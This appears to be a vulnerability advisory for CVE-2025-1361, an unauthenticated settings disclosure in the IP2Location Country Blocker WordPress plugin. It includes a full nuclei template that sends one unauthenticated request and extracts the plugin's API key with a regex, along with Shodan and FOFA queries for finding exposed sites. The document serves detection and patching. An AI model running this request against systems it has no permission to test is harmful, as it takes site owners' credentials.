IP2Location Country Blocker < 2.38.9 - Unauthenticated Information Disclosure

highseverity

7.5CVSS score

1.3%likelihood of exploitation, next 30 days

71%of all CVEs are less likely

Readycheck to confirm it

IP2Location Country Blocker plugin for WordPress up to version 2.38.8 contains a regular information exposure caused by missing capability checks on admin_init(), letting unauthenticated attackers view plugin settings, exploit requires no special conditions.

Impact

Unauthenticated attackers can view plugin settings, potentially leading to information disclosure or further attacks.

Fix

Update to the latest version of the plugin that fixes the capability check issue.

How to confirm it

Send: POST /wp-admin/admin-post.php
Positive when: contains_all(body, "ip2location_country_blocker_api_key") and status_code == 200 and contains(content_type, "application/json")

Run it with nuclei: nuclei -id CVE-2025-1361 -u <target>

The full check

id: CVE-2025-1361

info:
  name: IP2Location Country Blocker < 2.38.9 - Unauthenticated Information Disclosure
  author: pussycat0x
  severity: high
  description: |
    IP2Location Country Blocker plugin for WordPress up to version 2.38.8 contains a regular information exposure caused by missing capability checks on admin_init(), letting unauthenticated attackers view plugin settings, exploit requires no special conditions.
  impact: |
    Unauthenticated attackers can view plugin settings, potentially leading to information disclosure or further attacks.
  remediation: |
    Update to the latest version of the plugin that fixes the capability check issue.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/b63bc2b6-1abc-4cfa-a7e5-3995640f66a7
    - https://wpscan.com/vulnerability/3629be51-7c7e-4677-917f-a0693df3980f/
    - https://wordpress.org/plugins/ip2location-country-blocker/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-1361
    cwe-id: CWE-862
    epss-score: 0.01302
    epss-percentile: 0.70709
    cpe: cpe:2.3:a:ip2location:country_blocker:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/ip2location-country-blocker/"
    fofa-query: body="/wp-content/plugins/ip2location-country-blocker/"
    shodan-query: http.html:"/wp-content/plugins/ip2location-country-blocker/"
  tags: cve,cve2025,wordpress,wp-plugin,wp-scan,ip2location-country-blocker,unauth

http:
  - raw:
      - |
        POST /wp-admin/admin-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=download_backup

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "ip2location_country_blocker_api_key")'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and

    extractors:
      - type: regex
        name: api_key
        part: body
        group: 1
        regex:
          - '"ip2location_country_blocker_api_key":"([^"]*)"'

References

Use this check only on systems you are authorised to test. Where the data comes from